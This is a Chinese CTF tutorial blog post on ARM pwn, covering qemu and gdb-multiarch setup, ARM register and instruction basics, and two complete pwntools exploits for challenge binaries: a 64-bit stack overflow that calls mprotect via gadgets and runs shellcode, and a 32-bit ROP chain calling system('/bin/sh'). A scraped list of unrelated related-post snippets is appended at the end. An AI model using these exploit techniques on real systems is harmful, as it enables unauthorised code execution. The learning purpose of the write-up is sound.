arm b bl 地址无关码_32位和64位下的arm_pwn初探
32位和64位下的arm_pwn初探
前言:
pwn的学习之路一直在进行,今天看了arm_pwn,搞环境就搞了半天,琢磨工具使用到做题,这里总结下,希望能帮助到大家,少走一点弯路,后期有机会继续更新。
一、环境配置:
环境是一大玄学问题,这里仅仅是 我Ubuntu16.04下的环境配置,亲测有效,但是遇到玄学的问题时,也请留言,努力帮大家解决。
#安装qemuapt-get install qemu#更新一下sudo apt-get update#安装32位的依赖库sudo apt-get install -y gcc-arm-linux-gnueabi#运行32位的动态链接程序方法qemu-arm -L /usr/arm-linux-gnueabi ./文件#安装64位的依赖库sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu#运行64位的动态链接程序方法qemu-aarch64 -L /usr/aarch64-linux-gnu ./文件#安装gdb调试工具sudo apt-get install git gdb gdb-multiarch#32位程序下断调试步骤qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./文件(窗口1)gdb-multiarch ./文件(窗口2)pwndbg> target remote :1234pwndbg> b *0x8bb0#64位程序下断调试步骤qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./文件(窗口1)gdb-multiarch ./文件(窗口2)pwndbg> target remote :1234pwndbg> b *0x8bb0
二、arm汇编基础:
环境起来了,就可以像平时一样分析漏洞打题了,但是还是有不同的地方:
1、arm32只有16个32bit的通用寄存器,r0到r12,lr,pc,sp,函数调用时,前4个参数是压入寄存器的(r0、r1、r2、r3),后面的参数是压入栈中的
2、arm64有32个64bit长度的通用寄存器x0到x30以及sp,函数调用时,前8个参数都是通过寄存器来传递x0到x7
3、用一张图熟悉常见的arm汇编指令
4、举几个常见的汇编代码:
ldr r0,[r1, #4] //将内存单元R1+4中的字读取到R0寄存器中,同时R1=R1+4add r1,r2,#1 //表示r1=r2+1, 即寄存器r1的值等于寄存器r2的值加上1b、bl //相当于callBIC R1, R1, #0x0F //将R1 低4位清0mov r1,#4096 //r1 = 4096msr cpsr,r0 //复制r0到cpsr中str r1,[r2,#4] //将r1的数据保存到地址为r2+4的内存单元中sub r1,r2,#1 //表示r1=r2-1
5、lr、sp、pc三大寄存器
堆栈指针r13(SP):每一种异常模式都有其自己独立的r13,它通常指向异常模式所专用的堆栈,也就是说五种异常模式、非异常模式(用户模式和系统模式),都有各自独立的堆栈,用不同的堆栈指针来索引。这样当ARM进入异常模式的时候,程序就可以把一般通用寄存器压入堆栈,返回时再出栈,保证了各种模式下程序的状态的完整性。
连接寄存器r14(LR):每种模式下r14都有自身版组,它有两个特殊功能。
(1)保存子程序返回地址。使用BL或BLX时,跳转指令自动把返回地址放入r14中;子程序通过把r14复制到PC来实现返回,通常用下列指令之一: MOV PC, LR BX LR
通常子程序这样写,保证了子程序中还可以调用子程序。 stmfd sp!, {lr} …… ldmfd sp!, {pc}
(2)当异常发生时,异常模式的r14用来保存异常返回地址,将r14如栈可以处理嵌套中断。
程序计数器r15(PC):PC是有读写限制的。当没有超过读取限制的时候,读取的值是指令的地址加上8个字节,由于ARM指令总是以字对齐的,故bit[1:0]总是00。当用str或stm存储PC的时候,偏移量有可能是8或12等其它值。在V3及以下版本中,写入bit[1:0]的值将被忽略,而在V4及以上版本写入r15的bit[1:0]必须为00,否则后果不可预测。
如果通俗地理解就是lr=rax,sp=rsp,pc=rip
相对的,x30是存放ret地址
三、做题实战
1、64位下的arm程序
可以看到程序除了NX,什么也没有开,ida分析下逻辑:
先读0x200字节到bss段中,然后再栈溢出,漏洞点相当简单,既然有读到栈上我们就直接填shellcode然后改写下bss权限为7即可,但是这是在arm的环境下,所以实现起来,相对困难一点点
首先ida直接分析栈偏移是不行的,我们可以通过cyclic去计算出偏移(动态调试一下即可),可以算出偏移为72,
接着我们要栈溢出执行mprotect,这里三个参数都要满足比较辛苦,但是我们可以通过中级栈溢出的方式去得到:
text:00000000004008AC loc_4008AC ; CODE XREF: sub_400868+60↓j.text:00000000004008AC LDR X3, [X21,X19,LSL#3] // x3=[x21+x19*8].text:00000000004008B0 MOV X2, X22 //x2=x22.text:00000000004008B4 MOV X1, X23 //x1=x23.text:00000000004008B8 MOV W0, W24 // w0=w24(低位).text:00000000004008BC ADD X19, X19, #1 // x19=x19+1.text:00000000004008C0 BLR X3 // call x3.text:00000000004008C4 CMP X19, X20 ; .text:00000000004008C8 B.NE loc_4008AC // jmp if not equal.text:00000000004008CC.text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j.text:00000000004008CC LDP X19, X20, [SP,#var_s10] ; //x19=sp+0x10,x20=[sp+0x18].text:00000000004008D0 LDP X21, X22, [SP,#var_s20] //x21=sp+0x20,x22=[sp+0x28].text:00000000004008D4 LDP X23, X24, [SP,#var_s30] //x23=sp+0x30,x24=[sp+0x38].text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40 ; Load Pair //x29=[sp], x30=[sp+8].text:00000000004008DC RET //ret [x30]
根据前面学的arm的汇编基础,我们很容易将代码读懂,这里我做了注释,方便看清楚。
好了知道意思后,利用就和elf文件一样,我们控制好参数,写个集成函数即可,这里有个坑点,就是填got表是无法实现调用的,因为arm不太一样,这里我们需要伪造一个mprotect_plt的got表,实现调用,可以将mprotect_plt写到bss上就搞定了,执行完我们再ret我们的shellcode的位置既可,下面上exp:
from pwn import *bin_elf = './64arm'context.binary = bin_elfcontext.log_level = "debug"if sys.argv[1] == "r": p = remote("106.75.126.171",33865)elif sys.argv[1] == "l": p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/",bin_elf])else: p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", bin_elf])elf = ELF(bin_elf)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))def bk(addr): gdb.attach(p,"b *"+str(hex(addr)))gadget1 = 0x00004008CCgadget2 = 0x00004008ACbss = 0x0000411068mprotect = 0x000400600ru("Name:")shellcode = asm(shellcraft.aarch64.sh())py = ''py += p64(mprotect)py += shellcodesl(py)def middle_stackoverlow(offset,x0,x1,x2,function_addr,ret_addr): py = '' py += 'a'*offset py += p64(gadget1) py += p64(0) py += p64(gadget2) py += p64(0) py += p64(1) py += p64(function_addr) py += p64(x2)#x22=x2 py += p64(x1)#x23=x1 py += p64(x0)#24=x0 py += p64(0) py += p64(ret_addr) sl(py)middle_stackoverlow(72,0x411000,0x1000,0x7,bss,bss+8)p.interactive()
2、32位下的arm程序
一样保护几乎没开,ida分析一波:
ida静态分析,可能不是很好看,所以进行黑盒测试,直接运行看:
可以知道先换行,然后再输入内容,会回显那个英文,还是个循环,没了。
所以关键就是第二次输入,没开canary,猜想是栈溢出的题目,直接cyclic动态调试可以计算偏移:112
同时程序有system和binsh的后门,根据rop,我们pop参数到r0即可实现调用:
from pwn import *bin_elf = './arm'context.binary = bin_elfcontext.log_level = "debug"if sys.argv[1] == "r": p = remote("106.75.126.171",33865)elif sys.argv[1] == "l": p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi",bin_elf])else: p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", bin_elf])elf = ELF(bin_elf)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))def bk(addr): gdb.attach(p,"b *"+str(hex(addr)))pop_r0_r4_ret = 0x00020904binsh = 0x006C384system_plt = 0x00110B4ru("if you want to quit")sl("")py = ''py += 'a'*112py += p32(pop_r0_r4_ret)py += p32(binsh)py += p32(0)py += p32(system_plt)ru("------Begin------")sl(py)p.interactive()
总结:
综上,其实还有种题目是leak出地址,然后再system去getshell,elf文件中很常见的ret2libc,但是呢,目前还没遇到,等遇到了再做更新~
参考链接:
https://xz.aliyun.com/t/3744
https://xz.aliyun.com/t/3154
arm b bl 地址无关码_32位和64位下的arm_pwn初探相关推荐
- arm b bl 地址无关码_ARM汇编语言入门(六)
Part 6:条件状态和分支 在探讨CPSR时我们已经接触了条件状态.我们通过跳转(分支)或者一些只有满足特定条件才执行的指令来控制程序在运行时的执行流.通过CPSR寄存器中的特定bit位来表示条件状 ...
- arm b bl 地址无关码_ARM_异常和中断
ARM_异常和中断 问题1.中断向量表为于存储器的什么位置? ARM7系列,除ARM720T可以放高端地址,ARM9或更高都放高端地址上. 2.FIQ或IRQ异常返回指令是什么? 答案见下面.... ...
- arm b bl 地址无关码_海边同居有甜有虐,又一部BL日剧来了
关注公众号日剧部屋,每天都有日剧看 最近BL剧特别多,<到了30岁还是处男,就会变成魔法师>很多人都在苦苦等着每周的更新吧,本季还有一部BL剧,Kis-My-Ft2两位成员玉森裕太和宫田俊 ...
- 地址有关码和地址无关码
几个地址的说明: (cpu看来) (程序员看来) 1.运行地址<---->链接地址 2.加载地址<---->存储地址 他们对应等价,只是从不同的角度说. 进一步阐述 ...
- 64 大小_32位和64位Windows系统差别在哪里
如何确定32位和64位系统? 计算机体系结构是32位还是64位取决于计算机内部的处理器(CPU).目前,大多数计算机处理器属于这两个类别之一. 64位处理器比对应的32位处理器指数级更强大,因为它们可 ...
- linux 32位浏览器下载,Chrome 浏览器32位、64位下载地址大全
随着最近64位版本的 Chrome 浏览器正式版的推出,Chrome 浏览器再次受到广大浏览迷的重点关注,今天我们就整理一下各版本的 Chrome 浏览器 32位及64位的下载地址,方便各位浏览迷选择 ...
- 64位处理器_32位和64位的Windows 10和处理器(CPU)有什么区别
当你下载Windows 10.Office或任何其他软件时,可能会注意到有32位和64位版本可用,这时你可能会想到一个问题,我需要哪个? 在本文中,你可以了解32位和64位Windows 10之间的区 ...
- visio2016下载地址中文版32位中文版64位
office2016专业增强版包括了大部分日常是用的办公组件,但是visio2016不被包含在内,visio2016又是使用非常广泛的组件,今天小编就教你怎样下载和激活自己的visio2016. vi ...
- win764位和32位有什么区别_32位、64位它们是什么关系?它们又有什么区别?
现在熟悉系统的同学们,都知道现在Windows系统都有32位和64位的区分. 其实,x64其实就是64位,x86其实就是32位,在口语中我们说32位会多于x86. 1.硬件 在硬件上,32 位 软件和 ...
最新文章
- jndi weblogic mysql_Tomcat配置JNDI数据源连接池
- php 循环写入 缓冲,php利用缓冲实现动态输出(flush,ob_flush)
- leetcode算法题--有效的括号
- Java:按值传递还是按引用传递详细解说
- QT教程4:基本窗口实现
- 如何在 ASP.Net Core 中使用 Autofac
- 外媒:字节跳动是谷歌云存储第二大客户 但所存数据远不及苹果
- php网页留言本过程,PHP实现简单留言本功能代码示例
- 【Linux学习笔记】Linux-CentOS下安装Redis
- JavaScript详细教程归纳
- 易语言程序转c语言,C语言转易语言代码工具下载
- Jensen不等式简介
- IPv6下一代互联网现在就出发!
- ipad浏览器安装java_360浏览器苹果平板下载
- 陆辰是一名初级药剂师,16西药执业药师一次过17中药一次过 考中级药师#医学生
- IPwe区块链智能池利用AI来处理专利分析
- vuex报错TypeError: sub is not a function
- 学前教育计算机结束A卷,学前儿童发展心理学试卷A卷
- 注解@Value取值取不到问题
- 汇编程序:通过查表方法实现0-9的平方
热门文章
- MyBatis 数据持久层
- vlookup函数练习_为什么职场要学excel函数?看这个案例演示:自动计算快递价格...
- java map的遍历
- python 正则替换_5分钟速览Python正则表达式常用函数!五分钟就掌握它!
- substr php,PHP substr() 函数
- xampp for mac mysql_xampp for mac下载-Xampp Mac版下载 V7.3.2-PC6苹果网
- php生成图片水印,PHP生成图片加文字及图案水印办法
- 改jpg_|我来改第04期|—人物海报设计
- setname_Python线程类| setName()方法与示例
- Java LocalDate类| 带示例的getEra()方法